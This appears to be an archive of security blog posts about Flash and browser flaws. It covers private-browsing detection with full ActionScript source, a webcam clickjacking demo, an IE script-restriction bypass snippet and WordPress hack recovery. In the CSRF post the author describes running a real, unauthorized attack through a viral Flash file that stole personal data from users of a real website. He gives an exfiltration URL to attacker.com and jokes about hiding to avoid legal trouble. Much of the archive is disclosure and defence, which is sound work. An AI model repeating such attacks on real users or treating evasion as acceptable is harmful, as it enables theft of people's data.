Category Archives: Safeloper

Flash Private Browsing Fixed – Not Good Enough

I was going to congrat Adobe for their fix to the private browsing in Flash, this was my original text:

I’m glad to say that Adobe has fixed the minor issue they had with the new Flash Player 10.1 private browsing. I’ve written before on how a developer can tell the user’s browsing mode.

The Flash Player that is installed with CS5 is 10.1.52.14 which still suffer from this bug. If you surf the web using private browsing mode you should update the Flash Player to the latest, currently, 10.1.53.38 (RC4). Actually you should update it anyway.

But, when I went to see what have they changed in order to fix it. I saw that both modes, now, have the same limit of 100KB, but it’s still differ. While trying to save more than 100KB in normal browsing mode the status is “pending” while in private browsing mode it immediately fails.

Making this demo functional again required changing 1 line of code. Using any Flash Player, from 10.1_beta2 till latest 10.1.53.38(RC4) should show you if you’re in private mode or not.

So, please, again, normal and private browsing modes should behave exactly the same from a developer standpoint. Making local storage limit the same 100KB was a step in the right direction, but, it’s not enough. Let any Flash content ask for more storage even if it’s in private mode and allow the user to accept it, just remember to delete the user’s choice along with the local storage.

BTW, it might be possible to trick the browsers to tell you the user’s browsing mode, using HTML5 localStorage for example, and without using Flash.

The updated source code is below:

package {
	import flash.display.Sprite;
	import flash.display.StageAlign;
	import flash.display.StageScaleMode;
	import flash.events.NetStatusEvent;
	import flash.net.SharedObject;
	import flash.net.SharedObjectFlushStatus;
	import flash.text.TextField;
	import flash.text.TextFieldAutoSize;
	import flash.text.TextFormat;
	import flash.utils.getTimer;
	import flash.utils.setTimeout;

	/**
	 * This class will tell the current browsing mode of the user
	 * Tested with Flash Player 10.1 beta 2 - 10.1.53.38 (RC4)
	 * for more info go to:
	 * http://blog.guya.net
	 */

	[SWF(backgroundColor="#FFFFFF", width="400", height="35")]
	public class KissAndTell extends Sprite
	{
		private var _tf:TextField;

		public function KissAndTell()
		{
			initStage();
			createTF();
			setTimeout(saveData, 300);
		}

		private function initStage():void
		{
			stage.scaleMode = StageScaleMode.NO_SCALE;
			stage.align = StageAlign.TOP_LEFT;
		}

		//try to save 140kb into the local storage
		private function saveData():void
		{
			var kissSO:SharedObject = SharedObject.getLocal("kissAndTell");
			kissSO.data.value = getDataString(140);

			var status:String;

			try
			{
				status = kissSO.flush();
				kissSO.addEventListener(NetStatusEvent.NET_STATUS, netStatusHandler);
			}
			catch(ex:Error)
			{
				trace("Save failed - private browsing mode");
				setPrivateText();
			}

			if(status && status == SharedObjectFlushStatus.PENDING)
			{
				trace("Pending status - normal browsing mode");
			}

			/***  Changed in the newer versions of the Flash Player 10.1 beta ***/
			//If we can save more than 100kb then we're in Private Mode
			else if(status && status == SharedObjectFlushStatus.FLUSHED)
			{
				setPrivateText();
            }
		}

		//Listening to this event just to prevent exception on debug players
		private function netStatusHandler(event:NetStatusEvent):void
		{
			trace("event.info.code: " + event.info.code);
		}

		private function setPrivateText():void
		{
			_tf.text = "Private Browsing Mode";
			_tf.backgroundColor = 0xAA2222;
		}

		private function createTF():void
		{
			_tf = new TextField();
			_tf.autoSize = TextFieldAutoSize.LEFT;
			_tf.defaultTextFormat = new TextFormat("Arial, Verdana", 20, 0xFFFFFF, true, null, null, null, null, null, 10, 10);
			_tf.text = "Normal Browsing Mode"
			_tf.backgroundColor = 0x22AA22;
			_tf.background = true;
			addChild(_tf);
		}

		private function getDataString(kb:int):String
		{
			var t:int = getTimer();
			var word:String = "GUYA.NET_GUYA.NET_GUYA.NET_GUYA.NET_GUYA.NET_GUYA.NET_GUYA.NET_GUYA.NET_GUYA.NET_GUYA.NET_GUYA.NET_";
			var count:int;
			var a:Array = new Array();
			var lenNeeded:int = kb * 1024;
			while(count * word.length < lenNeeded)
			{
				a.push(word);
				count++;
			}

			var ret:String = a.join("");
			trace("time for generating " + kb + "kb: " + String(getTimer() - t) + " ml");
			return ret;
		}

	}
}

Kiss And Tell What Is The User Browsing Mode

To know if the user is currently in normal or private browsing mode can be valuable info for any ads providers and spammers, but not only.

With the upcoming Flash Player 10.1 (currently in beta 2) there are many welcome improvements. One of these is the support for private browsing as described in this article.

For me, one thing that  immediately jumped out from the aforementioned article was that, unintentionally, with the aid of the new Beta Flash Player, websites can tell which mode the user is currently using.

“…in private browsing with default settings, the default local storage limit in private browsing is 1 MB…”

“To protect user privacy, there is no way for developers to tell whether their content is handling normal or private LSOs. Flash Player handles local storage data in the same way.” No it doesn’t!

Not only I can tell about the current status of the Flash Player browsing mode, but now I can tell about the browser itself since Flash inherit its mode from the browser.

Load a small enough SWF (less than 215 x 138) so it won’t ever show the settings dialog.

Now, kiss (sorry for the cheesiness ;)) the local storage with data greater than 128kb. If it reject the kiss then you’re in normal browsing mode, if it accept it you can tell it’s a private mode.

It’s that easy, load this blog post in Private Mode with Flash Player 10.1 beta 2 installed and you’ll see the difference:

The solution is simple, private and normal modes should behave completely the same. In this case the local storage capacity should be the same. Lower both to 128kb or up both to 1MB. Which one is better, you may ask?! I’ll tell you latter ;)

The good thing is that Flash Player 10.1 is still in beta 2 so I’m sure it’ll be fixed for by the final release.

The source code is below:

package {
	import flash.display.Sprite;
	import flash.display.StageAlign;
	import flash.display.StageScaleMode;
	import flash.events.NetStatusEvent;
	import flash.net.SharedObject;
	import flash.net.SharedObjectFlushStatus;
	import flash.text.TextField;
	import flash.text.TextFieldAutoSize;
	import flash.text.TextFormat;
	import flash.utils.getTimer;
	import flash.utils.setTimeout;

	/**
	 * This class will tell the current browsing mode of the user
	 * Tested with Flash Player 10.1 beta 2
	 * for more info go to:
	 * http://blog.guya.net
	 */

	[SWF(backgroundColor="#FFFFFF", width="400", height="35")]
	public class KissAndTell extends Sprite
	{
		private var _tf:TextField;

		public function KissAndTell()
		{
			initStage();
			createTF();
			setTimeout(saveData, 300);
		}

		private function initStage():void
		{
			stage.scaleMode = StageScaleMode.NO_SCALE;
			stage.align = StageAlign.TOP_LEFT;
		}

		//try to save 140kb into the local storage
		private function saveData():void
		{
			var kissSO:SharedObject = SharedObject.getLocal("kissAndTell");
			kissSO.data.value = getDataString(140);

			var status:String;

			try
			{
				status = kissSO.flush();
				kissSO.addEventListener(NetStatusEvent.NET_STATUS, netStatusHandler);
			}
			catch(ex:Error)
			{
				trace("Save failed");
			}

			//If we can save more than 128kb then we're in Private Mode
			if (status && status == SharedObjectFlushStatus.FLUSHED)
			{
				setPrivateText();
            }
		}

		//Listening to this event just to prevent exception on debug players
		private function netStatusHandler(event:NetStatusEvent):void
		{
			trace("event.info.code: " + event.info.code);
		}

		private function setPrivateText():void
		{
			_tf.text = "Private Browsing Mode";
			_tf.backgroundColor = 0xAA2222;
		}

		private function createTF():void
		{
			_tf = new TextField();
			_tf.autoSize = TextFieldAutoSize.LEFT;
			_tf.defaultTextFormat = new TextFormat("Arial, Verdana", 20, 0xFFFFFF, true, null, null, null, null, null, 10, 10);
			_tf.text = "Normal Browsing Mode"
			_tf.backgroundColor = 0x22AA22;
			_tf.background = true;
			addChild(_tf);
		}

		private function getDataString(kb:int):String
		{
			var t:int = getTimer();
			var word:String = "GUYA.NET_GUYA.NET_GUYA.NET_GUYA.NET_GUYA.NET_GUYA.NET_GUYA.NET_GUYA.NET_GUYA.NET_GUYA.NET_GUYA.NET_";
			var count:int;
			var a:Array = new Array();
			var lenNeeded:int = kb * 1024;
			while(count * word.length < lenNeeded)
			{
				a.push(word);
				count++;
			}

			var ret:String = a.join("");
			trace("time for generating " + kb + "kb: " + String(getTimer() - t) + " ml");
			return ret;
		}

	}
}

Has my blog got hacked again?!

I was checking my email when all of a sudden I saw this email “New WordPress Blog”. I didn’t remembered adding, updating or doing anything with my blog. I thought about it yesterday though. Could it be that WordPress is so smart and read my mind.

Something was fishy, I’ve already experienced the fact the WP can be hack-able sometimes. I rushed to backup and remove the blog, before the hackers will start messing with me and my visitors.

I was already FTPing when it came to me, even if it was really hacked no need to rush about it, I’ll try to find out what happened.

And indeed google gave the quick answer that if the option database table get corrupted, somehow it gets, WP behave as a new install.  You only need to repair it from the phpMyAdmin, that’s it %)

Anyway it’s time to redo things in my blog, but without the rush.

The moral is always “google it” before you jump to any assumptions.

Malicious camera spying using ClickJacking

Update: Adobe has fixed this issue by framebusting the Settings Manager pages. Now, 99.9% of the users are protected from this specific exploit. Congrats on the fast response. —-

Turn every browser into a surveillance zombie. The wet dream of every private eye and peeping tom. Imagine this scenario, you play a short game on the web and by doing that you unknowingly grant someone full access to your webcam and microphone.

I’ve made a live demo of it in here, this demo won’t listen or record any of your input.

If you don’t want to try it or don’t have a webcam connected, then check out the video.

When I’ve first heard about ClickJacking and how Adobe is concerned about it, I thought that the Flash Player Security Dialog must have been compromised. But the Security Dialog does a good job disabling itself when you try to mess with it’s visibility through DHTML. Unless there’s some 0-day issue with the Dialog it’s probably relatively safe.

The problem here is the Flash Player Setting Manager, this inheritance from Macromedia might be the Flash Player security Achilles heel.

I’ve written a quick and dirty Javascript game that exploit just that, and demonstrate how an attacker can get a hold of the user’s camera and microphone. This can be used, for example, with platform like ustream, justin and alike or to stream to a private server to create a malicious surveillance platform.

I’ve made it as a JS game to make it easier to understand, but, bear in mind that every Flash, Java, SilverLight, DHTML game or application can be used to achieve the same thing.

Some of the clicks are real game clicks other are jacked clicks. Every time the click is needed to be jacked the content simply move behind the iframe using z-index

I had doubts about publishing this, but, if I could have understand it so are the bad guys, so it’s better to know about it.

In this case Adobe could have just framebust the pages that holds the Settings Manager. There are two issues with frambusting in this case, it won’t solve all cases (legacy browsers for ex) and will force Adobe to rely on javascript.

Play it here, watch it here

Thanx for not killing the Flash clipboard

Recently, a questionable Flash feature of writing to the user’s clipboard has been exploited. Adobe will finally fix this feature and it’ll require user interaction (mouse/keyboard click) in the upcoming Flash 10.

IMHO the people in charge of the Flash Player security have chosen the best option, retaining the functionality of the feature and still keeping the users secured.

Of course, a user can be led to click on the malicious Flash movie, or focus to the movie can be set and any keyboard press will lead to a pollution of the clipboard.

A more strict security measure could have been chosen, a dialog box asking the user to permit clipboard writing, could have been implemented. The Flash Player already uses a similar dialog when interacting with the user’s camera and mic. An updated Internet Explorer uses a dialog when interacting with the clipboard, allowing both read and write.

javascript:clipboardData.setData(“text”, “I’m in the clipboard”); (IE only)

 IE_clipboard

But, using the later option will make this feature too annoying for the user, and mostly useless.

Thanx for not killing this feature but still making it secure enough.

Regarding Flash movies that’ll still try to exploit this feature. It’s up to AD distributors and website owners to do their part and not distribute or host malicious files.

Encapsulating CSRF attacks inside massively distributed Flash movies – Real world example

Update: Added a sterilized demo and the source code.

CSRF (Cross Site Request Forgery) is considered one of the most widely spread exploits in websites today. I’ve written before about how a legitimate Flash file (swf) can be extremely viral. Few days ago I did a real attack, exploiting a CSRF flaw and elaborated it using the nature of Flash virality. The result shocked me.

I have a confession, I sometime look at the source of websites I browse, generally just to see how they did this and that. I also sometimes encounter security flaws in the script I examine, these flaws range from the very dangerous to the not so important, and my reactions range from informing the owners to just ignore it. I had the honor to find a very lame CSRF flaw in a big website which I’m familiar with it’s owners and some of its users. It was a great opportunity to do a real world test on this exploit. In the exploit I found, the attacker can obtain a lot of personal information from the user. A famous CSRF of similar nature has happened to gmail. Bear in mind that this kind of test is illegal and you should always be sure you won’t get in trouble, or just hide very well ;)

I took the same old viral movie of the pug cleaning the screen (screenclean.swf) and manipulated it (added some simple script) in a way that will attempt to attack any user that’ll view it, if the attack is successful and the user data is stolen it’ll be posted to my database (I’ll review the technical details at a latter point). I’ve then, uploaded the file to a server and sent the link to a few users that I know that uses that website, making it look like a naive chain letter.

pug_csrf

Then, I’ve waited for the stolen data to appear in my  database. It was exiting when the first hacked users started to emerge, and with every few refreshes there was a new one. It got a little scary when I saw users that I haven’t directly sent them the email. It was a proof of the virality of the attack.

csrf_db_table_01t

I was shocked when I saw that some of the users were added to my database being attacked from other servers then mine. This has proved the main point of the test, that attacks inside Flash (swf) files aren’t only viral but also get distributed. I wanted to show that this can happen pointing the screenclean.swf which can be found on ~600 different locations. I’ve never imagined that’ll it’ll happen so fast with my test, and on such an old movie.

After a few hours I’ve pulled the plug on this test and changed the swf file to the harmless original. But it was already too late the swf file got re-distributed (copied to other servers). Since I didn’t set the attack to expire and hasn’t obfuscate the code inside it, It was still attacking users, and worse, someone can look inside the swf and manipulate the attack to his needs. I had no control over that anymore, so we needed to fix this CSRF flaw ASAP.

Using Flash as a vessel to distribute CSRF attacks has some distinct benefits for the attacker:

- Beside the virality nature of these kind of Flash videos and games, swf files gets redistributed (hosted from other servers). This kind of attack will work no matter which server the file is served from, directly or embedded inside an html page.

- Script is hidden inside the Flash (swf), won’t be seen even with “View Generated Source”. Can be obfuscated inside the swf as well. Unless you’re watching the traffic you’ll see nothing suspicious.

- Multiple attacks in one swf. If it’s a game played for an hour, there is plenty of time to try many different attacks. The swf can download new kinds of attacks and/or instructions, when these are available, from the attacker server.

- Attack can be manipulated according to the date and time. For ex, let the swf distribute for a few days before starting to attack, set the attack to expire to make it more stealthy.

- Use shared object (Flash cookie) to maintain the user hacked status, more consistent then a cookie.

- Stealing large amount of data is easier as the data can be taken back to the swf and cross-domain Post can be used instead of Get.

Technical info

First of all, what enable this attack is the flaws and features inside every browser and the Flash Player, as I describe here.

Most CSRF attacks manipulate the user data on his behalf, as described here. The flaw I’ve found is returning live Javascript object with lots of personal data, similar to what happened to gmail. It was done this way, I guess, for ease of development, every page that is authenticated can load the url http://victim.com/personal.php?random and get the user’s data ready for any javascript code on the page, for ex, personalData.email.

The way that browsers are built, when the user is authenticated on one domain with a session or a cookie, every page that’ll load a url from this domain inside a script tag will use the authentication, even if the main page is on different domain. A script tag is one of these rare elements that are exempt from the browsers cross-domain-policy and can be loaded for use on different domains.

When the Flash movie (swf) is viewed inside a browser, the swf is “injecting” a javascript code to the page. This javascript is manipulating the page’s DOM and dynamically creating a script tag, this script is loading the vulnerable url as it source. Most of CSRF attacks will be done at this point, but, since our url is returning data, we need to wait for it and then steal it. We use an interval to check when the data is ready on the page, parse it as a string only with the important data then save it to our server database using the dynamically c
reated script with a get parameter http://attacker.com/stolenData.php?data=sensetive_data. We could have considered putting the data back into the swf and then post it to our server, Flash can do a cross-domain post as opposed to Javascript, might be more efficient when dealing with a large amount of data.

If the attack is successful we save it as a cookie, so we won’t attack the same user more then once. Again, we might consider using a Flash shared object which have more consistency.

Fixing the flaw in the website was just a matter of changing the returned data to a raw JSON instead of a live Javacript object. Fixing all CSRF flaws in a website generally is slightly more cumbersome, but not that much.

Added a sterilized demo and the source code.

Summery

Generally users feel comfortable following links, thinking it’s safe since they’re not installing anything, all the more so when it comes to links for flash and images.

This kind of attack is easy to reproduce, an attacker can simply go to youtube, download the FLV of the coolest short video and repeat the process, or worse, put it inside of an addictive game.

There is a tendency to accuse the platforms for being insecure. I agree that the browsers and the Flash Player will have to disallow scripting between them by default when loading a swf file directly, IE already tries to do it but fails miserably. That won’t solve any scenario though, since the harmful swf can be naively embedded inside an html page with scripting set to be allowed.

It’s always up to the developer to develop secure websites and applications without any CSRF or other type of flaws. No matter how strict is the platform (in this case the browsers and the Flash player), a “good” developer will be able to break the toughest security model in a second by writing vulnerable script.

It up to the developer to be a Safeloper and to produce secure applications ;)

The users should be able to feel safe following a link they get in an email message, it’s part of the nature of the Internet, following links that is.

I also did a similar attack using a JPG but that’s a different story.

Bug in Internet Explorer security model when embedding Flash

Update: I’ve posted a real world example of this bug being exploited.

This one has the same behavior on IE6, IE7 and IE8 betas.

I have only tested this with Flash swf files, but it’s likely that this security is applied and broken the same way, when navigating to different types of files.

When loading Flash file (swf) directly inside the browser without an html page container, for ex: http://example.com/game.swf , most browsers create an html page automatically and embed the swf inside it. FireFox and Google Chrome, for that matter, automatically create an embed tag with some default values, and IE uses this mshtml script (res://mshtml.dll/objectembed_neutral.js) to load the object.

The fact that this automatically created embed tag doesn’t mention the allowscriptaccess property it’s defaulted to samedomain. This way the swf file can script the automatically generated html page it resides in, using ExternalInterface, leading to a major security flaw. I will post about a real world example of this security flaw, shortly.

Internet Explorer, rightfully, consider this generated page as less secure and as such restrict access to the JavaScript document object. It’s preventing from the embedded swf to script the DOM of the page.

Just test it, go to any swf file on the web using Internet explorer, then run this script in the address bar javascript:alert(document); you’ll see the error “Access is denied”. Touching the document is prohibited!

Error_Access_Denied

But, all that is needed to compromise this security feature in IE is to reload the page. That’s it, just reload the page once by pressing F5. Run the script again javascript:alert(document); you’ll see the precious document and no error will be thrown.

Since most of the other javascript objects are still available and among these is the window native object. A swf file, for example, can reload the page on its own using window.location.reload() and then will be able to bypass the restriction and freely manipulate the page.

This script can run from inside the swf using ExternaInterface.call(“eval”, “script”); If the “try” clause fail it’s probably an IE browser and the page will reload immediately without the user noticing. The 2nd time the page loads the “try” clause won’t fail.

try{
   $d = document;
   //Mess with the DOM
}catch(ex){
   window.location.reload();
}

I was impressed that Microsoft implemented such a security feature as opposed to FireFox, Chrome and others who don’t have a similar restriction. but, it needs to be done right otherwise it misses the point.

As I said, I’ll post a real world example of this being exploited, soon.

My blog has been hacked

The first part of an hacker’s job would be to gather some information about her target, server, technology and software that runs on the desired target. With Worpress all is needed is viewing the html source to see the “<meta>” tag that describes what version of WordPress is currently running and how vulnerable it is. Attackers scan/google this automatically along with other parameters to see what blogs they likely want to hack.

I have always saw the updates in the Worpress dashboard and always stupidly ignored it, thinking, who would want to hack my blog?! I should have known that a PR of 7 is very appealing to the spammers. But even if you don’t have any PR or have very low traffic it doesn’t mean that you’re safe from being hacked and it’s been reported that very new and unpopular blogs has been hacked as well.

The attackers have managed to use an old exploit in my blog, a very old one, and polluted my blog with thousands of spamming pages, all hidden in some obscure folders. One of the first things I’ve noticed was some strange traffic is going into my blog, mostly from unrelated blogs which showed no indication of linking to me. Only when looking inside their HTML source I saw its hidden links to me. I’ve realized that I’m part of a zombie network of hacked blogs and splogs all for the sake of generating spam money. I’ve informed some websites that they were probably hacked as well, and I still found new websites that have hidden links to my blog and probably been controlled as part of this spammer network. This is an indication that the attackers work is far from perfect and probably not fully automatic, as they still don’t know I’m out of it, and still link to me.

Servers these days have become (relatively) very secure, securing it has become mostly a plug and play, you plug your firewall, you plug your security software suit and your almost done. (I don’t wanna disregard any IT and their hard work, but you get the point). Attacks vectors needed to be changed into exploiting the developer’s code and the end user, as these are the most error prone areas these days. As such, it became the developers responsibility to not only write a compiling code but also write a secure code. As for the users, they still shouldn’t be expected much and allowed to be very dumb. Its not sure yet if developers can be expected to always produce a safe code, WordPress is created by highly talented developers and still all of it’s security flaws were due to insecure coding. I’ve heard this being compared with an old development problem, which is, producing optimized code, that problem was never completely solved. Currently developers don’t have sufficient tools and resource to overcome these problems. One can only hope that in the same way that viruses has lost their strength over the years this will be the same for these kind of attacks. We can only wonder what will be the next generation of attackers, maybe the end users will become the only reasonable target.

The first lesson here is to always upgrade your blog. Although this can be tiring process, with updates coming all the time, it is must be done. The WordPress update process itself is very easy and fast and I really encourage you to do it the minute a new version is available. You might want to be assisted by this auto upgrade plug-in.

What is described here is mostly about the WordPress blog platform but this is far from being the only massively used and attacked open-source web application.

Finally I would like to try and coin a new phrase. The same way we were introduced by the developer who can also be a designer named – Devinger. I think it time to introduce the Safeloper. The Safeloper is a developer that has the tools and knowledge to produce secure programs. ;)

I guess we should always expect to be hacked and always backup.

How to find out if you’ve been hacked:

As opposed to old school Internet hacking, where the attacker main goal was to make a name for herself and that the attack would be known and published. In this new kind of hacking the attackers main goal is to make money through spam, and as such their last intention is that the owner of the hacked website will have any clue that she’s been compromised. You might get weird increase or decrease in traffic and the google PR might drop a bit, but, you won’t see anything completely different unless you’ll look for it.

Simple as that, view source and search for spam words like cars, montage, pharmaceutical, etc’.

look at traffic to your blog – If you see some strangely unrelated blogs linking to you there is a good chance you’ve been hacked and used as a splog. Go to the suspect blog and view its source for hidden spam links to you.

Look at the google search traffic to your blog – The latest exploit, also known as the anyresult.net hack, is a way to steal google result of your blog. Clean all cookies, search yourself in google, if a link to your blog is redirecting to another web-site then you’ve been hacked. Clean your cookie again and do this a few times to be sure.

Make Sure Your WordPress is Not Hacked – some more info.

What to do if you’ve been hacked

I would suggest to backup everything from your blog including all the file folders and database and then do a fresh install of the new WordPress (Currently 2.5.1). To backup the folders use an FTP client, the DB backup is generally done from the website’s control panel or from the WP admin. Only after the fresh install, start adding all the customized stuff like themes and plug-ins checking each and every one as you add it, you should even check the images. When it comes to the plug-ins your better off re-downloading it.

Change your blog password and all of the blog registered users passwords, make sure all the users are valid and not some hacker created. It’s better not to use WP for user registration as this is a source for a lot of the previous exploits.

How to prevent your blog from future hacks

Always install updates – It’s fast and easy

Remove the Generator Meta tag – WP shows its version number inside the HTML. If existed it’ll help the hacker to know how vulnerable you are.

Put empty index.html files inside the WP pligins folder and any other folder that don’t have an index file. it won’t stop anyone, but, will give the attacker a harder time understanding the structure of your blog and what plug-ins you have installed.

Monitor your files for changes or use some kind of script firewalls

Install only trusted plug-ins

More Resources:

Did your WordPress site get hacked? – More info about the structure of the Wrdpress attacks and how to prevent them, written by one of the WordPress people.

Patching the WordPress AnyResults.Net Hack – Describes how to fix the latest WordPress exploit, which is found on WP 2.5 or earlier, it was fixed on WP 2.5.1 but, updated blogs aren’t automatically fixed if it were already exploited. This exploit redirect search engine results of your website to anyresult.net. More, more and more.

File change notifications for your WordPress blog on Linux – A good explanation on how to monitor files changes on your blog. This way you’ll know when a hacker have managed to change or add files. The problem with it, is that it’s recommended not to monitor the cache folder, because it’s constantly being written by WordPress. Hackers are also aware that this folder is difficult to monitor and it’s where they put their malicious files.

Firewallscript WordPress Firewall – Commercial (85$) firewall that runs on the php script level without the need of installing it on the server itself, and hence good for shared hosting. It’ll monitor files for changes and more.

Munin A PHP application firewall – The same as above just free and open-source.

WordPress exploit: we been hit by hidden spam link injection – More information on how to deal with hidden spam link injection

Won’t publish posts anymore – A less common hack that prevent you from publishing into your own blog.

How to Protect Your WordPress Site

9 easy ways to secure your WordPress blog

10 Ways to Secure your WordPress Install

Almost Perfect htaccess File for WordPress Blogs

When Patches are the Problem – Apparently automatic security updates isn’t a perfect solution either.

Security through visibility: The secrets of open source security – WordPress is open source, is it really make it less secure?